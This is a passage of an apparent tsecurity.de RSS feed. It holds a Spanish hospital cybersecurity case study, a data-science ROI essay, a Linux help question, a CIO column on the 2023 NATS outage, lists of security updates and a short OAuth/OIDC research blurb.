<p>El componente humano también resultó determinante. El hospital impulsó formación específica para el equipo de TI y acciones de concienciación dirigidas al personal sanitario. “La tecnología solo funciona si se acompaña de procesos y hábitos. Cada profesional debe entender que la ciberseguridad también protege al paciente”, afirma.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?w=1024" alt="Carlos García Altarejos, responsable de Tecnología del Consorcio Hospitalario Provincial de Castellón" class="wp-image-4138550" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?quality=50&amp;strip=all 4096w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=300%2C245&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=768%2C627&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=1024%2C836&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=1536%2C1254&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=2048%2C1672&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=854%2C697&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=206%2C168&amp;quality=50&amp;strip=all 206w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=103%2C84&amp;quality=50&amp;strip=all 103w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=588%2C480&amp;quality=50&amp;strip=all 588w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=441%2C360&amp;quality=50&amp;strip=all 441w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=306%2C250&amp;quality=50&amp;strip=all 306w" width="1024" height="836" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Carlos García Altarejos, responsable de Tecnología del Consorcio Hospitalario Provincial de Castellón.</strong></p>
</figcaption></figure><p class="imageCredit">Consorcio Hospitalario Provincial de Castellón.</p></div>



<h2 class="wp-block-heading">Vigilancia continua en un entorno 24/7</h2>



<p>Para abordar esta evolución, el Consorcio Hospitalario Provincial de Castellón desplegó un ecosistema integral basado en soluciones de la compañía Sophos, con monitorización continua y respuesta gestionada frente a amenazas.</p>



<p>El núcleo del proyecto ha sido el servicio MDR (Managed Detection and Response) 24/7, acompañado de <em>firewall</em> de nueva generación, detección en red (NDR), gestión de vulnerabilidades e integración con sistemas críticos como copias de seguridad y correo corporativo. “Hoy contamos con telemetría completa, priorización de vulnerabilidades y capacidad de detección continua. Hemos pasado de reaccionar a incidentes a anticiparnos a ellos”, resume García Altarejos.</p>



<p>De hecho, los resultados comenzaron a observarse en los primeros meses: el sistema procesó cerca de un millón de detecciones potenciales, con unas 50.000 escaladas y correlacionadas mediante inteligencia artificial, y permitió detener un intento real de ejecución de código malicioso sin requerir intervención del hospital.</p>



<p>Desde el punto de vista técnico, uno de los mayores desafíos fue proteger dispositivos y sistemas donde no era posible instalar agentes de seguridad. Según explica César Benítez, director de Ciberseguridad de la consultora TWT-TS, “había que mejorar la seguridad sin afectar en ningún momento a la continuidad asistencial”. Para ello se combinó monitorización del tráfico en red, agentes ligeros y despliegues progresivos cuidadosamente planificados.</p>



<p>La seguridad sincronizada del ecosistema permitió, además, correlacionar eventos entre <em>endpoints</em>, red y firewall, aportando una visión unificada del riesgo. “El valor real no fue solo tecnológico, sino estratégico: dotar al hospital de capacidad de anticipación y respuesta”, señala Benítez.</p>



<p>Para Emilio Gil, account executive de Sophos, este tipo de proyectos refleja un cambio profundo en la concepción de la seguridad sanitaria. “En un hospital la ciberseguridad no va de instalar un antivirus y olvidarse. Va de proteger personas, de garantizar que un quirófano no se detiene o que una UCI mantiene visibilidad incluso un domingo de madrugada”. Gil advierte, además, que el sector afronta amenazas cada vez más sofisticadas, con ataques dirigidos y <em>ransomware</em> orientado a maximizar el impacto asistencial. “Los hospitales no pueden permitirse ni una hora de caída, y eso los convierte en objetivos prioritarios”.</p>



<h2 class="wp-block-heading">Más allá del proyecto: una base para el hospital del futuro</h2>



<p>La ciberseguridad se ha convertido ahora en el cimiento sobre el que el hospital está construyendo su evolución digital. Entre los proyectos en marcha destacan la renovación de comunicaciones para cerca de 2.000 dispositivos, plataformas de inteligencia artificial, analítica avanzada, videovigilancia inteligente o sistemas de localización interna de pacientes. “Estamos en una fase de aceleración y profesionalización”, afirma García Altarejos. “No se trata solo de incorporar herramientas, sino de hacerlo de forma ordenada, segura y medible para que la innovación se traduzca en mejor asistencia y mayor eficiencia”.</p>



<p>La hoja de ruta incluye también reforzar la resiliencia tecnológica, mejorar la segmentación de red y avanzar hacia arquitecturas híbridas que permitan escalar capacidades sin perder el control del dato clínico.</p>



<p>En este contexto, la visión que García Altarejos tiene del hospital para los próximos años es clara: “Que la tecnología deje de ser un freno y se convierta en una ventaja clínica y operativa, siempre con la seguridad y la continuidad asistencial como línea roja”. En definitiva, se trata de disponer de un hospital “seguro por diseño, con segmentación madura, telemetría completa y respuesta gestionada 24/7 como estándar”. Además, contará con “un modelo de CPD más simple y con menos riesgo”, equilibrando cargas entre sus centros de datos para lograr alta disponibilidad real y reducir puntos únicos de fallo. También aspira a una mayor capacidad de cómputo para alojar plataformas propias de inteligencia artificial, manteniendo el control del dato clínico, así como aplicaciones y sistemas más interoperables, preparados para integrar servicios <em>cloud-ready</em> cuando aporten valor y con analítica e IA integradas en procesos clínicos y administrativos, midiendo su impacto en calidad, tiempos y eficiencia.</p>



<p>Más allá del caso concreto, la experiencia del Consorcio Hospitalario Provincial de Castellón refleja un cambio silencioso que ya se está produciendo en el sistema sanitario: la ciberseguridad ha dejado de ser un proyecto puntual para convertirse en una condición previa de cualquier innovación. Inteligencia artificial, analítica avanzada, interoperabilidad o medicina digital solo pueden desarrollarse sobre infraestructuras capaces de garantizar disponibilidad, integridad y confianza en el dato clínico.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Translating data science capabilities into business ROI]]></title>
<description><![CDATA[In March 2020, as the COVID-19 pandemic forced our organization into remote operations, I watched our executive team struggle to make critical decisions with incomplete data. Sales and marketing pipeline visibility evaporated overnight. Client engagement patterns were shifting daily. Market condi...]]></description>
<link>https://tsecurity.de/de/3314350/it-security-nachrichten/translating-data-science-capabilities-into-business-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3314350/it-security-nachrichten/translating-data-science-capabilities-into-business-roi/</guid>
<pubDate>Fri, 27 Feb 2026 11:23:40 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In March 2020, as the COVID-19 pandemic forced our organization into remote operations, I watched our executive team struggle to make critical decisions with incomplete data. Sales and marketing pipeline visibility evaporated overnight. Client engagement patterns were shifting daily. Market conditions were changing faster than our quarterly reports could capture. The question from our chief marketing officer was urgent: “How do we maintain visibility when everything we used to track has become unreliable?”</p>



<p>I could have explained the complexity of rebuilding our analytics infrastructure or detailed the technical challenges of real-time data integration. But I’d learned that in crisis moments, executives don’t care about technical obstacles; they care about getting the information they need to make decisions that keep the business moving forward.</p>



<p>After five years leading customer analytics and marketing technology initiatives at a second investment management firm, building data science capabilities that serve millions of investors and supporting over $8 trillion in assets, I’ve learned that translating technical capabilities into business value becomes most critical precisely when it’s most difficult.</p>



<p>The gap between what data scientists can build and what business leaders actually need often determines whether an organization thrives or struggles during transformation.</p>



<h2 class="wp-block-heading">Crisis as catalyst: When analytics infrastructure becomes mission-critical</h2>



<p>The fundamental challenge in demonstrating data science ROI is that most analytics infrastructure feels optional until it becomes essential. During normal operations, executives tolerate delays in reporting and gaps in visibility. During a crisis, those same gaps become existential threats.</p>



<p>In the first week of March 2020, I independently identified mission-critical gaps in our analytics infrastructure that nobody had prioritized during stable times. Our sales teams couldn’t see their pipeline in real time. Marketing couldn’t track their campaign performance across multiple channels. Leadership couldn’t assess client sentiment as market volatility intensified. We had sophisticated models and elegant dashboards, but none of them were built for the speed and scope of change we were experiencing.</p>



<p>The turning point came when I realized we weren’t facing a data problem or a technology problem. We were facing a decision-making problem. Our leadership needed to maintain operational stability for a multi-trillion-dollar asset manager during unprecedented disruption. Every day without visibility meant delayed decisions, missed opportunities, and compounding uncertainty.</p>



<p>I assembled a cross-functional team overnight, pulling in data engineers, product managers, and business analysts who understood both the technical possibilities and the business urgency. We had one mandate: deliver a centralized dashboard that executives could rely on for daily decision-making. Not in months. In weeks.</p>



<p>The result validated everything I’d learned about translating technical capabilities into business value. Within three weeks, we delivered a real-time analytics dashboard that became integral to daily executive briefings. This wasn’t the most technically sophisticated system I’d ever built, but it was the most impactful. It enabled leadership to maintain decisive momentum during a global crisis; a contribution measured not in model accuracy or how sophisticated the dashboard automation is, but in organizational resilience.</p>



<p>According to <a href="https://hbr.org/2020/02/10-steps-to-creating-a-data-driven-culture" rel="nofollow">Harvard Business Review research on crisis analytics</a>, organizations with robust real-time visibility infrastructure are four times more likely to outperform competitors during market disruptions.</p>



<h2 class="wp-block-heading">Building for impact: A framework refined through high-stakes execution</h2>



<p>Through years of deploying analytics in high-pressure situations, I’ve developed a three-part framework that consistently works when translating data science capabilities into measurable business outcomes.</p>



<p>First, anchor technical solutions to business criticality, not technical impressiveness. When our organization faced stagnating email engagement, with active participation stuck at 12,000 clients despite a much larger addressable audience, I did not pitch implementing advanced machine learning segmentation algorithms. Instead, I framed it as: “We’re leaving millions in potential revenue on the table because we’re treating all 50,000 prospects the same way. The right 20,000 would engage if we understood what they actually care about.”</p>



<p>This framing changed the conversation from Should we invest in better segmentation? to How quickly can we deploy this? The technical solution involved sophisticated classification algorithms and multi-dimensional clustering, but leadership never needed to understand those details. They needed to understand the business problem being solved.</p>



<p>The results spoke louder than any technical explanation could: Advanced segmentation techniques increased active email participation from 12,000 to 20,000 clients, a 66% improvement that substantially enhanced marketing ROI and opened previously inaccessible revenue streams. But I didn’t present this as a segmentation success. I presented it as solving the engagement stagnation problem that had frustrated marketing leadership for two years.</p>



<p>Second, measure outcomes in terms of KPI’s executives actually track. When I developed a predictive model for our expansion to a major platform partnership, I could have measured success by model accuracy or precision-recall scores. Instead, I defined success the same way executive leadership defined it: new assets generated and speed to market.</p>



<p>The partnership represented a strategic imperative for our organization: access to an entirely new distribution channel that could accelerate growth. But partnerships fail when targeting is imprecise, and when you can’t demonstrate value quickly enough to justify continued investment. Our predictive model needed to do more than forecast success; it needed to enable success.</p>



<p>Within the first few months of implementation, the model generated over 50 new opportunities for sales to target. More importantly, it established data-driven guidance as essential to partnership strategy, fundamentally changing how our organization approached similar initiatives. The model’s technical sophistication mattered far less than its business impact.</p>



<p>For dormant client reactivation, contacts who hadn’t engaged with us in 18+ months, I developed a classification algorithm that achieved a 40% conversion rate. The result was so extraordinary that both marketing and sales leadership immediately scaled the program into permanent operations without needing further proof of concept. According to MIT research on marketing analytics, <a href="https://cisr.mit.edu/" rel="nofollow">conversion rates above 15% in reactivation campaigns are considered exceptional</a>. We tripled that threshold.</p>



<p>Third, create frameworks that become organizational assets, not just project deliverables. The most valuable data science contributions aren’t individual models; they’re reusable methodologies that change how an organization operates.</p>



<p>I was specifically sought out by senior leadership to resolve a critical, long-standing challenge: demonstrating marketing’s contribution to revenue and client retention in ways that finance and executive leadership would accept as legitimate. Previous attempts had failed because they relied on attribution models that leadership didn’t trust or couldn’t verify.</p>



<p>My solution was the quality engagement measurement framework, a sophisticated system that provided irrefutable evidence of marketing impact by connecting engagement behaviors to verified business outcomes through statistical methods that met our finance team’s scrutiny standards. This wasn’t just another dashboard. It represented an original contribution that established a new standard for measuring marketing effectiveness within the organization.</p>



<p>The framework’s principles have since been recognized as vital for demonstrating marketing ROI across the broader financial services industry. More importantly, it transformed how our organization thinks about and invests in marketing initiatives. We moved from defending marketing budgets to strategically allocating them based on predicted quality engagement impact.</p>



<h2 class="wp-block-heading">Real-world lessons from high-stakes initiatives</h2>



<p>The most valuable lessons I’ve learned came from projects where perfect execution mattered more than perfect methodology.</p>



<p>Speed-to-value often trumps technical sophistication. The COVID dashboard taught me this lesson definitively. We could have spent months building a comprehensive data warehouse with sophisticated ETL pipelines and machine learning-powered forecasting. Instead, we focused ruthlessly on the minimum viable solution that executives needed immediately.</p>



<p>We pulled data manually where automation would have taken too long. We used simple aggregations instead of complex models. We prioritized accuracy for executive decision-making over comprehensive coverage. The dashboard wasn’t elegant from a technical perspective, but it was exactly what leadership needed when they needed it.</p>



<p>That pragmatic approach created more business value than months of sophisticated engineering would have delivered. Sometimes the highest-impact analytics solution is the good-enough one that ships this week, not the perfect one that ships next quarter.</p>



<p>Strategic positioning creates a disproportionate impact. I served as strategic architect for a major product repositioning — a multi-million-dollar initiative essential for our competitive positioning. My data-backed strategies produced immediate, quantifiable market share gains and resulted in substantially larger deal sizes and accelerated acquisition rates that fundamentally altered our market position.</p>



<p>But the real insight came from understanding that successful repositioning requires more than accurate analysis; it requires convincing stakeholders to make bold moves based on data that challenges conventional wisdom. I learned to present analysis in ways that built confidence for aggressive action rather than just providing information for conservative decisions.</p>



<p>The technical work was standard competitive analysis and market segmentation. The high-impact contribution was translating that analysis into strategic recommendations that leadership could execute with confidence and then demonstrating results quickly enough to reinforce that confidence before doubt set in.</p>



<p>Organizational trust is the ultimate force multiplier. What distinguishes my most impactful contributions from technically similar but lower-impact work isn’t the sophistication of the algorithms; it’s the organizational trust that enables rapid execution.</p>



<p>When the COVID crisis hit, I could assemble a cross-functional team and redirect resources without weeks of approval processes because executive leadership trusted my judgment about what needed to be built and how quickly it needed to ship. When I identified dormant client reactivation as a high-value opportunity, I could launch a program based on early model results because marketing and sales leadership trusted that if I said 40% conversion was achievable, it was achievable.</p>



<p>That trust wasn’t granted automatically. It was earned through years of delivering on commitments, being honest about limitations, and prioritizing business outcomes over technical preferences. Every successful initiative built credibility for the next one. Every transparent communication about what was and wasn’t possible reinforced that I understood the business context, not just the technical details.</p>



<h2 class="wp-block-heading">Making business value undeniable</h2>



<p>The most effective data science leaders aren’t necessarily the most technically sophisticated; they’re the ones who can connect technical capabilities to outcomes that executives recognize as valuable without translation.</p>



<p>I’ve focused on creating measurement frameworks that speak executive language. When I present analytics impact, I don’t talk about model performance metrics. I talk about the sales opportunities generated, the 66% improvement in engaged clients, the 40% conversion rate that made dormant contacts profitable again, the crisis dashboard that kept a trillion-dollar business operating through unprecedented disruption.</p>



<p>I’ve also worked to shift organizational expectations about what analytics should deliver. Early in my tenure, stakeholders wanted analytics to confirm decisions they’d already made. Now they expect analytics to reveal opportunities they hadn’t considered and to challenge assumptions that might be wrong. That shift in expectations: from analytics as scorekeeper to analytics as strategic driver creates more lasting value than any individual model.</p>



<p>The key to this cultural transformation was demonstrating wins consistently enough that people began to expect them. When advanced segmentation dramatically improved engagement, teams across the organization asked, “What else could we segment better?” When partnership prediction worked, other business lines asked, “Could you build something similar for us?” Success became self-reinforcing.</p>



<h2 class="wp-block-heading">The real measure of impact</h2>



<p>When that CMO asked how we’d maintain visibility during the pandemic, I didn’t talk about dashboard features or data integration architecture. I talked about delivering the decision-making infrastructure executives needed to guide the organization through crisis.</p>



<p>Three weeks later, that infrastructure was running. Six months later, it had become indispensable; persisting well beyond the immediate crisis because it solved visibility problems that had always existed but had never been urgent enough to prioritize.</p>



<p>The most successful data science organizations aren’t those with the most advanced technology or the largest data teams. They’re the ones that have mastered the discipline of connecting technical capabilities to business outcomes that executives recognize as critical and delivering those outcomes with speed and reliability that builds organizational trust.</p>



<p>That discipline of understanding business context deeply enough to prioritize impact over technical elegance is what separates data science teams that drive strategy from those that support it. And in my experience, it’s a discipline that can be developed systematically through conscious focus on outcomes over outputs.</p>



<p></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Instalar Linux en una vieja Vaio]]></title>
<description><![CDATA[Hola estoy tratando de instalar Linux en una laptop Vaio Sony del año 2005 me parece con 2 Gb RAM. Trate de instalar Linux Mint Mate y creo aets pero no me permitió iniciar el instalador. Intente con otros modelos pero no he conseguido el que me permita iniciar la instalación. Alguien que haya in...]]></description>
<link>https://tsecurity.de/de/3309067/linux-tipps/instalar-linux-en-una-vieja-vaio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3309067/linux-tipps/instalar-linux-en-una-vieja-vaio/</guid>
<pubDate>Wed, 25 Feb 2026 09:21:35 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hola estoy tratando de instalar Linux en una laptop Vaio Sony del año 2005 me parece con 2 Gb RAM. Trate de instalar Linux Mint Mate y creo aets pero no me permitió iniciar el instalador. Intente con otros modelos pero no he conseguido el que me permita iniciar la instalación. Alguien que haya instalado Linux en una Vaio del mismo tipo me puede ayudar,</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Tempo_Tempest"> /u/Tempo_Tempest </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1re7dvd/instalar_linux_en_una_vieja_vaio/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1re7dvd/instalar_linux_en_una_vieja_vaio/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[El CIO de dos empresas: la ideal y la real]]></title>
<description><![CDATA[El 28 de agosto de 2023, festivo en parte del Reino Unido y uno de los días más intensos del tráfico aéreo del verano, alrededor de 1.500 vuelos fueron cancelados. Aeropuertos colapsados, tripulaciones y aviones fuera de posición, pasajeros atrapados en conexiones imposibles por Europa, y un sect...]]></description>
<link>https://tsecurity.de/de/3307627/it-security-nachrichten/el-cio-de-dos-empresas-la-ideal-y-la-real/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3307627/it-security-nachrichten/el-cio-de-dos-empresas-la-ideal-y-la-real/</guid>
<pubDate>Tue, 24 Feb 2026 16:50:56 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El 28 de agosto de 2023, festivo en parte del Reino Unido y uno de los días más intensos del tráfico aéreo del verano, alrededor de 1.500 vuelos fueron cancelados. Aeropuertos colapsados, tripulaciones y aviones fuera de posición, pasajeros atrapados en conexiones imposibles por Europa, y un sector entero exigiendo respuestas. Aerolíneas como Ryanair elevaron la presión públicamente. La <a href="https://www.caa.co.uk/newsroom/news/aviation-regulator-publishes-independent-review-into-august-2023-nats-flight-planning-system-failure" target="_blank" rel="nofollow">autoridad regulatoria británica estimó después que el incidente impactó a más de 700.000 pasajeros</a>, con grandes costes para aerolíneas y aeropuertos. El detonante no fue una tormenta perfecta de eventos. El operador de control de tráfico NATS reveló que el incidente se originó por un plan de vuelo válido que incluía en su ruta dos <em>waypoints</em> o referencias de navegación fuera del Reino Unido que <a href="https://www.nats.aero/news/nats-report-into-air-traffic-control-incident-details-root-cause-and-solution-implemented" target="_blank" rel="nofollow">tenían el mismo nombre</a>.</p>



<p>Eso disparó una <strong>excepción crítica</strong>, y tanto el sistema principal como el de respaldo entraron en un modo de seguridad (<strong>fail-safe</strong> en inglés) para evitar presentar información potencialmente incorrecta a los controladores. El resultado fue inmediato: restricción de tráfico y pérdida de automatización, pasando a gestión manual.</p>



<p>En ese momento apareció la <strong>empresa real</strong>: la que no se ve en el comité, la que vive por debajo del PowerPoint y no capturan los KPI. En este incidente, lo que más tiempo consumió estaba fuera del guion: <strong>identificar el dato</strong> exacto, retirarlo de forma controlada y volver a operar con garantías.</p>



<h2 class="wp-block-heading">La organización quiere ver la empresa ideal</h2>



<p>En muchas organizaciones operan <strong>dos empresas</strong> a la vez. Por un lado, la empresa <strong>ideal</strong>: la que se define por <em>roadmaps</em>, KPI y narrativas impecables. Por otro, la empresa <strong>real</strong>: la de las dependencias, integraciones frágiles y excepciones. Es menos visible, pero es la que decide cuando algo falla.</p>



<p>El reto es que la organización quiere ver la empresa ideal, porque da <strong>sensación de control</strong> y facilita las decisiones. La empresa real, sin embargo, <strong>no es intuitiva</strong>: está distribuida, cambia con cada integración y no avisa cuando se degrada. Es fácil inclinarse hacia <strong>sesgos humanos</strong>, como la tendencia a infravalorar escenarios negativos hasta que se materializan. Por ejemplo, hace ya décadas, se acuñó el término “<strong><a href="https://es.wikipedia.org/wiki/Falacia_de_la_planificaci%C3%B3n" target="_blank" rel="nofollow">falacia de planificación</a></strong>”, que explica el patrón por el que los grandes proyectos se disparan de forma crónica tanto en coste como en plazo.</p>



<p>El CIO no escapa a esto. También está sometido a presión por entregar una narrativa de avance y por no ser percibido como freno.</p>



<h2 class="wp-block-heading">Cómo saber si las decisiones se toman desde la empresa ideal</h2>



<p>A pesar de estos sesgos, hay algunas señales que indican que hay un sesgo hacia la empresa ideal, perdiendo la conexión con la real.</p>



<p>La primera es cuando la <strong>hoja de ruta se reescribe continuamente. </strong>Si cada trimestre hay que cambiar la planificación, significa que el sistema vive en <strong>modo reacción,</strong> actuando desde la urgencia. Este modo de decidir no es lo mismo que incorporar metodologías ágiles, y puede llegar a confundirse.</p>



<p>Otra señal es el <strong>exceso de excepciones</strong>. Estas son inevitables, pero cuando se terminan convirtiendo en la norma son un síntoma de un problema de fondo. Si no se aborda, se empieza a generar <strong>deuda</strong>. Es decir, riesgos y costes que se van acumulando y terminan hipotecando las decisiones futuras.</p>



<p>Una señal contraintuitiva se manifiesta cuando los <strong>KPI son correctos, </strong>indican estabilidad y avance, pero al mismo tiempo, cada <strong>cambio</strong> supone un <strong>riesgo</strong> elevado. Esto apunta a que la dirección se siente cómoda con un determinado cuadro de mando, pero en realidad no está alineado con la realidad, y puede ocultar fragilidad y <strong>falta de confianza</strong>.</p>



<p>Por último, una señal culturalmente arraigada (y difícil de percibir) es cuando la <strong>continuidad se asume, pero no se pone a prueba.</strong> Es decir, cuando no existe un esquema periódico de prueba de los sistemas. Es fácil <strong>confundir resiliencia</strong> con la <strong>falta de eventos adverso</strong>s. Sin este entrenamiento, la organización cree que está preparada, hasta que llega un incidente.</p>



<h2 class="wp-block-heading">El mapa y el territorio</h2>



<p>Hay una distinción que ayuda a calibrar las señales y facilita un cambio de conversación: el mapa y el territorio.</p>



<p>El <strong>mapa</strong> es la <strong>representación</strong>: arquitectura objetivo, planes, KPI, comités y gobierno formal. El mapa es necesario, porque sin él no hay dirección.</p>



<p>El <strong>territorio</strong> es la <strong>operación: </strong>dependencias, integraciones, excepciones, capacidades reales de los equipos y coordinación. Es real y está vivo.</p>



<p>Cuando no se cuestiona ni actualiza el mapa, aparece una <strong>ilusión de gobierno</strong>: se gobierna la representación del sistema, no el sistema. La energía se concentra en demostrar orden mientras el territorio se vuelve más frágil sin que nadie lo vea a tiempo.</p>



<p>El caso del colapso aéreo en el Reino Unido muestra el choque entre ambos. El 28 de agosto era un día crítico para el sistema británico, y contaba con una dotación completa de personal. Y, aun así, una combinación atípica de condiciones obligó a operar en modo manual. En otras palabras: el mapa indicaba resiliencia; el territorio contó otra historia.</p>



<p>En ese escenario, la pregunta que el CIO necesita instalar es tan importante como incómoda: <strong>¿estamos gobernando el mapa o estamos gobernando el territorio?</strong></p>



<h2 class="wp-block-heading">Tres movimientos del CIO para que la empresa real no sea una sorpresa</h2>



<p>Para que la empresa se haga estas preguntas (y no sólo después de un susto), la clave no está en más <em>reporting</em>. Está en instalar <strong>hábitos de gobierno</strong> que hagan visible la <strong>distancia entre mapa y territorio</strong>: entre lo que se planifica y lo que realmente se puede sostener. A continuación, se presentan tres hábitos sencillos que hacen más visible el territorio:</p>



<p><strong>1) Definir la empresa mínima viable.</strong> Ese concepto, nacido en el ámbito de la resiliencia, consiste en elegir una columna dorsal de <strong>servicios críticos</strong> y describir sus <strong>dependencias</strong> clave, incluyendo terceros. A partir de ahí, se indica qué ocurre si se degradan y cómo activar un <strong>modo de contingencia</strong> que permita que la operación no se pare.</p>



<p><strong>2) Gobernar las excepciones.</strong> El objetivo es que dejen<strong> de ser un favor</strong> urgente y se conviertan en decisiones y aprendizaje de la organización. Para ello, cada excepción debe tener <strong>dueño</strong>, motivo, fecha de caducidad y una <strong>revisión</strong> programada. En la revisión se pueden plantear las opciones de salida: corregir la causa, renovar la excepción asumiendo su coste, o retirarla.</p>



<p>3<strong>) Institucionalizar un <em>reality check</em> ejecutivo</strong>. Se trata de establecer una <strong>revisión</strong> periódica de capacidades. Es decir, qué riesgos o fragilidades aumentan, qué dependencias nuevas aparecen y qué incidentes revelan territorio no visible. Y, al menos un par de veces al año, hace falta <strong>ensayar momentos de la verdad</strong>. Es decir, simular una disrupción, practicar el modo manual y comprobar si los procedimientos funcionan bajo presión.</p>



<p>En los próximos meses, el <strong>territorio va a cambiar</strong> con la entrada de <strong>agentes de IA</strong>. Habrá más integraciones, más presión por la velocidad y menos tolerancia al fallo. En ese contexto, el CIO tendrá que revisar el mapa.  </p>



<p></p>



<p><em>La próxima tribuna se centrará en una amenaza claramente externa y cada vez más determinante: la dependencia tecnológica. Es decir, cómo se crea de forma inadvertida y qué puede hacer el CIO para recuperar margen de maniobra sin frenar la ambición digital.</em> </p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (kernel, kernel-rt, and munge), Debian (openssl), Mageia (gegl), Oracle (firefox, freerdp, gnupg2, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, java-11-openjdk, kernel, libpng15, munge, nodejs:20, nodejs:22, protobuf, and uek-kernel), SU...]]></description>
<link>https://tsecurity.de/de/3307436/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3307436/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 24 Feb 2026 15:36:12 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (kernel, kernel-rt, and munge), <b>Debian</b> (openssl), <b>Mageia</b> (gegl), <b>Oracle</b> (firefox, freerdp, gnupg2, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, java-11-openjdk, kernel, libpng15, munge, nodejs:20, nodejs:22, protobuf, and uek-kernel), <b>SUSE</b> (libpng12, libpng16, and openQA, openQA-devel-container, os-autoinst), and <b>Ubuntu</b> (gimp, libssh, and linux-azure).]]></content:encoded>
</item>
<item>
<title><![CDATA[Custom and flexible OAuth/OIDC SP and IdP implementations]]></title>
<description><![CDATA[During my master’s thesis, I created custom OpenID Connect Service Provider (SP) and Identity Provider (IdP) implementations for research and Proof-of-Concept purposes. Both implementations use NodeJS. This post outlines their capabilities and how they can be extended.]]></description>
<link>https://tsecurity.de/de/3303463/hacking/custom-and-flexible-oauthoidc-sp-and-idp-implementations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3303463/hacking/custom-and-flexible-oauthoidc-sp-and-idp-implementations/</guid>
<pubDate>Sun, 22 Feb 2026 17:38:04 +0100</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>During my master’s thesis, I created custom <em>OpenID Connect</em> Service Provider (SP) and Identity Provider (IdP) implementations for research and Proof-of-Concept purposes. Both implementations use <em>NodeJS</em>. This post outlines their capabilities and how they can be extended.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (edk2, glibc, gnupg2, golang, grafana, nodejs:24, and php), Debian (gimp and kernel), Fedora (fvwm3), Mageia (microcode and vim), Oracle (edk2, glibc, kernel, nodejs:24, and php), Red Hat (python-s3transfer), SUSE (abseil-cpp, avahi, azure-cli-core, ...]]></description>
